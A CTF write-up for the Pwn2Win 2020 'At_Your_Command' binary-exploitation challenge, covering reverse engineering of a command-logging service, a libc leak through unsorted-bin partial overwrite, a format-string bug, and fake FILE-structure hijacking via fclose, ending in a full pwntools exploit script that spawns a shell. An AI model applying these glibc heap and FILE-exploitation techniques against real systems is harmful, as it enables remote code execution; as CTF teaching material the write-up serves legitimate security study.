Pwn2Win 2020 At_Your_Command

Challenge Details

Event Challenge Category Link
Pwn2Win At_Your_Command PWN https://ctftime.org/event/961

Description

Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task?

Server: nc command.pwn2.win 1337

Link

Mirror

ID: at_your_command

Score: 267

Solves: 26

nc command.pwn2.win 1337

TL;DL

  • Leak Libc address through unsorted bin chunks by partial overwrite.

  • Construct a fake file structure in a controlled area (concatenation of 2 chunks).

  • Overwrite File pointer using format string bug.

  • Get shell through calling fclose() \o/ !

    Pwn2Win was a rough CTF competition, we were able only to solve one PWN challenge which took us nearly 6 hours to be the 4th team who solved it with our teammate Aracna.

Reverse Engineering

First of all, starting with static analysis the given binary has nearly full protection as show below:

$ checksec ./command
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

As always, let’s start with just running the binary blindly and check the implemented functionalities through playing with different inputs.

$ ./command 
Welcome to the command system
=============================
Your name: test_name
Welcome test_name

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 1
Priority: aa
Command: bbb
The command has been included at index 0

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 2
Command index: 0

Priority: 0
Command: bbb

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 4

Index 0
Priority: 0
Command: bbb

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 3
Command index: 0
The command has been successfully deleted

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 5

Sending commands...
Are you sending the commands to which rbs?
aa
You command Mr. test_name!

the binary after reading a name it looks like it has the following commands:

  • Include command : It takes 2 inputs a priority and a text command and stores them somewhere.
  • Review command: Display the provided details of an included command via an index.
  • Delete command: Delete an included command via an index.
  • List commands: List all the included commands
  • Send commands: It asks for an input then exit after printing the provided name in the first step.

Let’s fire up IDA and start analyzing the functions.

main function
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  time_t v3; // rax
  FILE *stream; // [rsp+0h] [rbp-70h]
  ssize_t v6; // [rsp+8h] [rbp-68h]
  char s; // [rsp+10h] [rbp-60h]
  unsigned __int64 v8; // [rsp+68h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init_chall(); 
  welcome_message();
  printf("Your name: ", a2);
  v6 = read(0, buf, 0xCuLL);
  if ( v6 && buf[v6 - 1] == 10 )
    buf[v6 - 1] = 0;
  printf("Welcome %s\n", buf);
  memset(&s, 0, 0x50uLL);
  manage_commands((__int64)&s);
  puts(&byte_15FA);
  puts("Sending commands...");
  v3 = time(0LL);
  snprintf(filename, 0x2DuLL, "/commands/%ld", v3);
  stream = fopen(filename, "w");
  if ( !stream )
  {
    printf("[ERROR] An error happened while opening the file");
    exit(2);
  }
  send_command((__int64)&s, &stream);
  fclose(stream);
  return 0LL;
}

the binary is stripped so we had to rename the functions as shown in the pseudo-code above. The binary just run in the following execution flow.

  1. init_chall() : It just disables buffering and sets alarm after 60 seconds.
  2. welcome_message() : it displays a hello message.
  3. It reads a name from stdin then prints Welcome Your_Name.
  4. manage_commands(): it manages the commands as explained before (include, review, …).
  5. send_command(): it logs all the commands provided into a file.

Let’s dive into manage_commands function since the main functionalities are implemented in it.

__int64 __fastcall manage_commands(__int64 a1)
{
  __int64 result; // rax
  while ( 1 )
  {
    menu(); //it prints the menu described before.
    result = (unsigned int)read_long_int(); // it reads 8 bytes long
    switch ( result )
    {
      case 1LL:
        include_command(a1);
        break;
      case 2LL:
        review_command(a1);
        break;
      case 3LL:
        delete_command(a1);
        break;
      case 4LL:
        list_commands(a1);
        break;
      case 5LL:
        return result;
      default:
        error();
        return result;
    }
  }
}

After renaming the functions, this subroutine is handling the following functions depending on user input:

Include_command function
int __fastcall include_command(__int64 a1)
{
  int i; // [rsp+14h] [rbp-1Ch]
  ssize_t v3; // [rsp+18h] [rbp-18h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
      return puts("[INFO] The authorized limit has been reached!");
    if ( !*(_QWORD *)(8LL * i + a1) )
      break;
  }
  *(_QWORD *)(8LL * i + a1) = malloc(0x188uLL); 
  printf("Priority: ");
  **(_QWORD **)(8LL * i + a1) = (int)read_long_int();
  printf("Command: ");
  v3 = read(0, (void *)(*(_QWORD *)(8LL * i + a1) + 8LL), 0x170uLL);
  if ( v3 )
  {
    if ( *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v3 - 1 + 8) == 10 )
      *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v3 - 1 + 8) = 0;
  }
  return printf("The command has been included at index %d\n", (unsigned int)i);
}

First, the function checks if the user has already supplied 10 commands which is the maximum number of allowed inputs at the same time. Then it allocates 0x188 chunk through malloc function and it reads 4 bytes input followed by a command string finally stores them in the parameter array a1 which is a commands array.

Command is a structure designed as follow:

struct commands{
    long long priority;
    char command[0x170];
}
Review_command function
__int64 __fastcall review_command(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Command index: ");
  result = read_long_int();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 9 )
  {
    result = *(_QWORD *)(8LL * (int)result + a1);
    if ( result )
    {
      puts(&byte_15FA);
      result = display_command(*(_QWORD *)(8LL * v2 + a1));
    }
  }
  return result;
}

The function reads an index from the user then it checks if the index given points to an allocated command structure in order to prevent Use After Free. If it’s the case it displays the priority along side with the command string.

Delete_command function
int __fastcall delete_command(__int64 a1)
{
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Command index: ");
  LODWORD(v1) = read_long_int();
  v3 = v1;
  if ( (int)v1 >= 0 && (int)v1 <= 9 )
  {
    v1 = *(_QWORD *)(8LL * (int)v1 + a1);
    if ( v1 )
    {
      free(*(void **)(8LL * v3 + a1));
      *(_QWORD *)(8LL * v3 + a1) = 0LL;
      LODWORD(v1) = puts("The command has been successfully deleted");
    }
  }
  return v1;
}

The function reads an index from the user, it checks if the index given points to a valid command structure. If it’s the case it will free the correspondent chunk and null the pointer in a1 array in order to prevent the Double Free.

List_command function
__int64 __fastcall list_commands(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    result = *(_QWORD *)(8LL * i + a1);
    if ( result )
    {
      puts(&byte_15FA);
      printf("Index %d\n", (unsigned int)i);
      result = display_command(*(_QWORD *)(8LL * i + a1));
    }
  }
  return result;
}

the function just iterates over a1 array and displays the different allocated commands.

the 5th choice just returns to the main function.

After the function manage_commands returns, it creates a file then it executes the send_commands function.

unsigned __int64 __fastcall send_command(__int64 a1, FILE **a2)
{
  int i; // [rsp+14h] [rbp-3Ch]
  __int64 v4; // [rsp+18h] [rbp-38h]
  char src; // [rsp+20h] [rbp-30h]
  char s; // [rsp+30h] [rbp-20h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(&s, 0, 0x14uLL);
  memset(&src, 0, 0x10uLL);
  puts("Are you sending the commands to which rbs?");
  v4 = (int)read_long_int();
  fprintf(*a2, "Id: %lld\n", v4);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_QWORD *)(8LL * i + a1) )
      fprintf(*a2, "%lld:%s\n", **(_QWORD **)(8LL * i + a1), *(_QWORD *)(8LL * i + a1) + 8LL);
  }
  snprintf(&src, 0xCuLL, buf);
  strcpy(&s, "Mr. ");
  strcat(&s, &src);
  printf("You command %s!\n", &s);
  return __readfsqword(0x28u) ^ v7;
}

The function reads a 4 bytes long long and then just stores the different commands into the opened file. After that, it calls snprintf without the format parameter which leads to a format string vulnerability but with a very limited number of chars 0xC. since we control the parameter buf which the name supplied in the first step.

Then it concatenates the name with the string “Mr. " and prints the final message to the stdout.

Finally, it returns to the main function and calls fclose() before exiting.

Exploitation

We start by implementing the wrappers needed to communicate with the binary.

from pwn import *
from pwn import log as Log
from time import sleep

def log(title,value):
    Log.info(title + ": {} ".format(hex(value)))
period = 0.2

def include(priority,command):
    p.sendline("1")
    p.recv(8000)
    p.sendline(str(priority))
    p.recv(8000)
    p.send(command)
    sleep(period)
    p.recv(8000)

def review(index):
    p.sendline("2")
    p.recv(8000)
    p.sendline(str(index))
    p.recvuntil("Command: ")
    data = p.recvline().strip()
    p.recv(8000)
    return data

def delete(index):
    p.sendline("3")
    p.recv(8000)
    p.sendline(str(index))
    p.recv(8000)

def init(name):
    p.sendline(name)
    p.recv(8000)

Leaking Libc address

Since it allocates 0x188 bytes, which is lower then 0x408, which is the maximum size that a tcache bin can hold. because of that the first 7 freed chunks will go to tcache bin and the next one will go to the unsorted bin and since the unsorted bin is a doubly linked list we can leak BK pointer if we can provide and empty command string through the following steps.

  1. Allocates a chunk

    first state of the chunk

    Allocated Chunk

  2. Freed chunk

    The state of the freed chunk that goes to unsorted bin

    Freed Chunk

  3. Reallocated chunk

    Reallocated Chunk

    when we reallocate the freed chunk that is stored in the unsorted bin, if we can provide an empty input as a command string as shown in the 3rd diagram we can persist the state of BK pointer in the same place as command string and it can be displayed through review_command function ==> Libc Leak \o/ !

        p=process("./command")
        p.recv(8000)
        payload = ""
        payload += "RANDOM_NAME"
        init(payload)
        #allocates 9 chunks (7 tcache + 1 in order to prevent consolidating with top chunk + 1 to unsorted bin)
        for i in range(9):
            include(123,"abc")
        #frees 8 chunks ( 7 tcache + 1 unsorted)
        for i in range(8):
            delete(i)
     # allocates 7 chunks to empty tcache since it has the allocation priority 
        for i in range(7):
            include(123,chr(65+i)*3)
        #this chunk allocated from unsorted bin
        include(123,"a")
     #Will be explained below
        data = review(7)
        leak = u64(data.ljust(8,"\x00"))
        leak = leak & 0xffffffffffffff00
        leak = leak | 0xa0
        log("leak",leak)
    

    Since we couldn’t send an empty string to the binary as command text we decided to make one byte overwrite on the BK pointer and because the LSB of the main arena stored is always 0xa0 for the challenge’s libc provided (2.27)

    $ python solver.py 
    [+] Starting local process './command': pid 24613
    [*] leak: 0x7fb4a343aca0 
    [*] Switching to interactive mode
    $
    

Getting Shell

In the send_command function after opening the file for writing the different commands provided, it calls snprintf with a format string vulnerability with the provided name as a parameter.

   0x557573c5134d:    mov    esi,0xc
   0x557573c51352:    mov    rdi,rax
   0x557573c51355:    mov    eax,0x0
=> 0x557573c5135a:    call   0x557573c50a70 <snprintf@plt>
   0x557573c5135f:    lea    rax,[rbp-0x20]
   0x557573c51363:    mov    DWORD PTR [rax],0x202e724d
   0x557573c51369:    mov    BYTE PTR [rax+0x4],0x0
   0x557573c5136d:    lea    rdx,[rbp-0x30]
Guessed arguments:
arg[0]: 0x7ffd4bcac690 --> 0x0 
arg[1]: 0xc ('\x0c')
arg[2]: 0x557573e52060 ("YOUR_NAME")
[------------------------------------stack-------------------------------------]
0000| 0x7ffd4bcac670 --> 0x7ffd4bcac6d0 --> 0x557574364200 --> 0xfbad2c84 
0008| 0x7ffd4bcac678 --> 0x7ffd4bcac6e0 --> 0x557574363260 --> 0x7b ('{')
0016| 0x7ffd4bcac680 --> 0xa73e52080 
0024| 0x7ffd4bcac688 --> 0x0 
0032| 0x7ffd4bcac690 --> 0x0 
0040| 0x7ffd4bcac698 --> 0x0 
0048| 0x7ffd4bcac6a0 --> 0x0 
0056| 0x7ffd4bcac6a8 --> 0x0 

As shown in the gdb context above, the top of the stack contains a pointer on the _IO_FILE_plus structure for the opened file.

So the idea is, if we manage to overwrite that pointer in order to point to our fake file structure. This will allow us to hijack the vtable pointer. From there we can redirect the code execution when the binary calls fclose() and since the snprintf juste use 12 bytes only as length, this make it harder for us to full control the pointer on the stack.

To bypass this limitation, since the structure is located at the heap we need only to partially overwrite the pointer to make it point to our controlled data.

Fake File Structure

The provided libc version is higher then 2.23 which make the assertion of the vtable pointer inside _libc_IO_vtables section. the default File structure is as the following (stderr example) :

$2 = {
  file = {
    _flags = 0xfbad2087, 
    _IO_read_ptr = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_read_end = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_read_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_write_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_write_ptr = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_write_end = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_buf_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "", 
    _IO_buf_end = 0x7f9470711704 <_IO_2_1_stderr_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7f9470711760 <_IO_2_1_stdout_>, 
    _fileno = 0x2, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7f94707128b0 <_IO_stdfile_2_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7f9470710780 <_IO_wide_data_2>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f947070d2a0 <_IO_file_jumps>
}

our goal is to construct a similar structure inside the heap and overwrite the file pointer to point to our Fake file. In that way when calling fclose() the program will call our controlled vtable address.

We shall overwrite the vtable in such a manner so that instead of calling the regular FILE associated function, _IO_str_overflow would be called. Since we can already forge file pointer, we can control the execution flow with one_gadget call.

For deep diving into File Structure Exploitation, here is a useful link that describes well the exploitation process.

If we manage to overwrite by one byte the pointer located into the stack, we fall into our controlled data but due to size limitation we can’t fully write our fake file structure which has size 192 without overflowing the next chunk (Default File chunk) which is not the case (no overflow for us). so we don’t have choices but overwriting two bytes with null byte. but this will just make the pointer points to the area before the heap which we don’t control :( !

we came up with a clever workaround by just making 10 allocations to make the heap size higher then 0x1000 and by any chance (brute force FTW) if the heap base just ends with 0x#f000 then when nulling the last two bytes of the pointer we fall into 2 controlled chunks (# : any random byte) because of the default File pointer ends with 0x*0200. ( * = # + 1 )

So final idea is to divide the fake File structure between two controlled chunks and taking consideration of the 2nd chunk metadata.

    fake1=""
    fake1+=p64(0xfbad2400) #flags
    fake1+=p64(0)*8
    fake1+=p64(0)*2

    fake2=p64(_IO_lock)*3 #to avoide siegsegv
    fake2+=p64(0xffffffffffffffff)
    fake2+=p64(0)
    fake2+=p64(0)
    fake2+=p64(0)*6
    fake2+=p64(str_overflow-136) #points to str_overflow
    fake2+=p64(one_gadget) #(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

    for i in range(10):
        delete(i)

    for i in range(8):
        include(123,"A"*5)

    include(0,"A"*280+fake1) #1st part
    include(0,fake2) #2nd part

The final exploit is here \o/ !

from pwn import *
from pwn import log as Log
from time import sleep


def log(title,value):
    Log.info(title + ": {} ".format(hex(value)))
period = 0.2

def include(priority,command):
    p.sendline("1")
    p.recv(8000)
    p.sendline(str(priority))
    p.recv(8000)
    p.send(command)
    sleep(period)
    p.recv(8000)


def review(index):
    p.sendline("2")
    p.recv(8000)
    p.sendline(str(index))
    p.recvuntil("Command: ")
    data = p.recvline().strip()
    p.recv(8000)
    return data

def delete(index):
    p.sendline("3")
    p.recv(8000)
    p.sendline(str(index))
    p.recv(8000)

def init(name):
    p.sendline(name)
    p.recv(8000)


for _ in range(100):
    #p = process("./command")
    p=remote("command.pwn2.win",1337)
    p.recv(8000)
    payload = ""
    payload += "%4$hn"
    init(payload)

    for i in range(9):
        include(123,"abc")
    for i in range(8):
        delete(i)

    for i in range(7):
        include(123,chr(65+i)*3)

    include(123,"a")

    data = review(7)
    leak = u64(data.ljust(8,"\x00"))
    leak = leak & 0xffffffffffffff00
    leak = leak | 0xa0
    log("leak",leak)
    base = leak - 0x3ebca0
    str_overflow = base + 0x3e8378
    one_gadget = base + 0x4f322
    _IO_lock=base+0x3ed8b0
    log("base",base)
    log("str_overflow",str_overflow)
    log("one_gadget",one_gadget)
    include(123,"KKKKKKKKKKKKK")

    fake1=""
    fake1+=p64(0xfbad2400)
    fake1+=p64(0)*8
    fake1+=p64(0)*2

    fake2=p64(_IO_lock)*3
    fake2+=p64(0xffffffffffffffff)
    fake2+=p64(0)
    fake2+=p64(0)
    fake2+=p64(0)*6
    fake2+=p64(str_overflow-136)
    fake2+=p64(one_gadget)

    for i in range(10):
        delete(i)

    for i in range(8):
        include(123,"A"*5)

    include(0,"A"*280+fake1)
    include(0,fake2)
    p.sendline("5")
    p.sendline("1")
    
    try:
        p.sendline("id")
        p.interactive()
    except:
        c=0
    p.close()

And here we go :D

Flag

Kerro & Anis_Boss
Kerro & Anis_Boss
Cyber Security Enthusiasts

Our research interests include Binary Exploitation, Reverse Engineering and Programming.